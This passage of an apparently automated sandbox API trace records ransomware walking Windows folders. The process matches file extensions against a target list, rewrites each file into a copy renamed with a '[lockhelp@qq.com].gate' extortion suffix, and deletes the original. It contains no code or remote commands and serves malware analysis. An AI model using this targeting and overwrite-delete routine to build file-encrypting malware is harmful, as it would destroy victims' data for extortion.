lpNewFilePointer=0x0) returned 1 [0126.666] SetEndOfFile (hFile=0x314) returned 1 [0126.667] CloseHandle (hObject=0x314) returned 1 [0126.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0126.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0126.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.673] lstrlenW (lpString=".doc") returned 4 [0126.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.673] lstrlenW (lpString=".docx") returned 5 [0126.674] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.674] lstrlenW (lpString=".pdf") returned 4 [0126.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString=".xls") returned 4 [0126.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString=".xlsx") returned 5 [0126.674] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.674] lstrlenW (lpString=".ppt") returned 4 [0126.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.674] lstrlenW (lpString=".zip") returned 4 [0126.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.674] lstrlenW (lpString=".rar") returned 4 [0126.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString=".bz2") returned 4 [0126.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString=".7z") returned 3 [0126.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.674] lstrlenW (lpString=".dbf") returned 4 [0126.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.674] lstrlenW (lpString=".1cd") returned 4 [0126.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.674] lstrlenW (lpString=".jpg") returned 4 [0126.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.675] lstrlenW (lpString=".doc") returned 4 [0126.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString=".docx") returned 5 [0126.675] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.675] lstrlenW (lpString=".pdf") returned 4 [0126.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString=".xls") returned 4 [0126.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString=".xlsx") returned 5 [0126.675] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.675] lstrlenW (lpString=".ppt") returned 4 [0126.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.675] lstrlenW (lpString=".zip") returned 4 [0126.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.675] lstrlenW (lpString=".rar") returned 4 [0126.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString=".bz2") returned 4 [0126.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString=".7z") returned 3 [0126.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.675] lstrlenW (lpString=".dbf") returned 4 [0126.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.675] lstrlenW (lpString=".1cd") returned 4 [0126.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0126.675] lstrlenW (lpString=".jpg") returned 4 [0126.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.676] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0126.676] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0126.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0126.742] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0126.742] CloseHandle (hObject=0x318) returned 1 [0126.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0126.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0126.742] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.742] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0126.743] GetLastError () returned 0x0 [0126.743] ReadFile (in: hFile=0x318, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0127.554] WriteFile (in: hFile=0x364, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0127.555] ReadFile (in: hFile=0x318, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0127.556] WriteFile (in: hFile=0x364, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0127.556] SetEndOfFile (hFile=0x364) returned 1 [0127.569] CloseHandle (hObject=0x364) returned 1 [0129.165] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.165] SetEndOfFile (hFile=0x318) returned 1 [0129.166] CloseHandle (hObject=0x318) returned 1 [0129.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0129.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0129.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.167] lstrlenW (lpString=".doc") returned 4 [0129.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.167] lstrlenW (lpString=".docx") returned 5 [0129.167] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.167] lstrlenW (lpString=".pdf") returned 4 [0129.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.167] lstrlenW (lpString=".xls") returned 4 [0129.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.167] lstrlenW (lpString=".xlsx") returned 5 [0129.167] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.168] lstrlenW (lpString=".ppt") returned 4 [0129.168] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.168] lstrlenW (lpString=".zip") returned 4 [0129.168] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.168] lstrlenW (lpString=".rar") returned 4 [0129.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString=".bz2") returned 4 [0129.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString=".7z") returned 3 [0129.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.168] lstrlenW (lpString=".dbf") returned 4 [0129.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.168] lstrlenW (lpString=".1cd") returned 4 [0129.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.168] lstrlenW (lpString=".jpg") returned 4 [0129.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.168] lstrlenW (lpString=".doc") returned 4 [0129.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.168] lstrlenW (lpString=".docx") returned 5 [0129.168] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.168] lstrlenW (lpString=".pdf") returned 4 [0129.168] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString=".xls") returned 4 [0129.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString=".xlsx") returned 5 [0129.169] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.169] lstrlenW (lpString=".ppt") returned 4 [0129.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.169] lstrlenW (lpString=".zip") returned 4 [0129.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.169] lstrlenW (lpString=".rar") returned 4 [0129.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString=".bz2") returned 4 [0129.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString=".7z") returned 3 [0129.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.169] lstrlenW (lpString=".dbf") returned 4 [0129.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.169] lstrlenW (lpString=".1cd") returned 4 [0129.169] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0129.169] lstrlenW (lpString=".jpg") returned 4 [0129.169] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.170] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0129.170] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0129.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0129.170] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0129.170] CloseHandle (hObject=0x318) returned 1 [0129.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0129.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0129.170] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.171] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0129.171] GetLastError () returned 0x0 [0129.171] ReadFile (in: hFile=0x318, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0130.008] WriteFile (hFile=0x364, lpBuffer=0x4135020, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0) Thread: id = 24 os_tid = 0x654 [0109.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4240048 [0109.658] lstrlenW (lpString="C:") returned 2 [0109.658] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 0x4250d80 [0109.658] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0109.658] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0109.658] lstrlenW (lpString="$GetCurrent") returned 11 [0109.658] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0109.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4251058 [0109.659] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0109.659] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x4250880 [0109.764] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0109.764] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0109.764] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0109.764] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0109.764] lstrlenW (lpString="Logs") returned 4 [0109.764] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0109.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0109.765] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0109.765] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250cc0 [0109.785] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0109.785] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0109.785] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0109.785] lstrlenW (lpString=".1cd") returned 4 [0109.785] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0109.785] lstrlenW (lpString=".3ds") returned 4 [0109.785] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0109.785] lstrlenW (lpString=".3fr") returned 4 [0109.785] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0109.785] lstrlenW (lpString=".3g2") returned 4 [0109.785] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0109.785] lstrlenW (lpString=".3gp") returned 4 [0109.785] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0109.785] lstrlenW (lpString=".7z") returned 3 [0109.785] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0109.785] lstrlenW (lpString=".accda") returned 6 [0109.785] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0109.785] lstrlenW (lpString=".accdb") returned 6 [0109.785] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0109.785] lstrlenW (lpString=".accdc") returned 6 [0109.785] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0109.785] lstrlenW (lpString=".accde") returned 6 [0109.785] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0109.786] lstrlenW (lpString=".accdt") returned 6 [0109.786] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0109.786] lstrlenW (lpString=".accdw") returned 6 [0109.786] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0109.786] lstrlenW (lpString=".adb") returned 4 [0109.786] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".adp") returned 4 [0109.786] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ai") returned 3 [0109.786] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0109.786] lstrlenW (lpString=".ai3") returned 4 [0109.786] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ai4") returned 4 [0109.786] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ai5") returned 4 [0109.786] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ai6") returned 4 [0109.786] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ai7") returned 4 [0109.786] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ai8") returned 4 [0109.786] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".anim") returned 5 [0109.786] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0109.786] lstrlenW (lpString=".arw") returned 4 [0109.786] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".as") returned 3 [0109.786] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0109.786] lstrlenW (lpString=".asa") returned 4 [0109.786] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".asc") returned 4 [0109.786] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0109.786] lstrlenW (lpString=".ascx") returned 5 [0109.786] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0109.786] lstrlenW (lpString=".asm") returned 4 [0109.786] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".asmx") returned 5 [0109.787] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0109.787] lstrlenW (lpString=".asp") returned 4 [0109.787] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".aspx") returned 5 [0109.787] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0109.787] lstrlenW (lpString=".asr") returned 4 [0109.787] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".asx") returned 4 [0109.787] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".avi") returned 4 [0109.787] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".avs") returned 4 [0109.787] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".backup") returned 7 [0109.787] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0109.787] lstrlenW (lpString=".bak") returned 4 [0109.787] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".bay") returned 4 [0109.787] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".bd") returned 3 [0109.787] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0109.787] lstrlenW (lpString=".bin") returned 4 [0109.787] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".bmp") returned 4 [0109.787] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".bz2") returned 4 [0109.787] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".c") returned 2 [0109.787] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0109.787] lstrlenW (lpString=".cdr") returned 4 [0109.787] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".cer") returned 4 [0109.787] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0109.787] lstrlenW (lpString=".cf") returned 3 [0109.787] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0109.788] lstrlenW (lpString=".cfc") returned 4 [0109.788] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".cfm") returned 4 [0109.788] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".cfml") returned 5 [0109.788] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0109.788] lstrlenW (lpString=".cfu") returned 4 [0109.788] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".chm") returned 4 [0109.788] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".cin") returned 4 [0109.788] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".class") returned 6 [0109.788] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0109.788] lstrlenW (lpString=".clx") returned 4 [0109.788] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".config") returned 7 [0109.788] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0109.788] lstrlenW (lpString=".cpp") returned 4 [0109.788] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".cr2") returned 4 [0109.788] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".crt") returned 4 [0109.788] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".crw") returned 4 [0109.788] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".cs") returned 3 [0109.788] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0109.788] lstrlenW (lpString=".css") returned 4 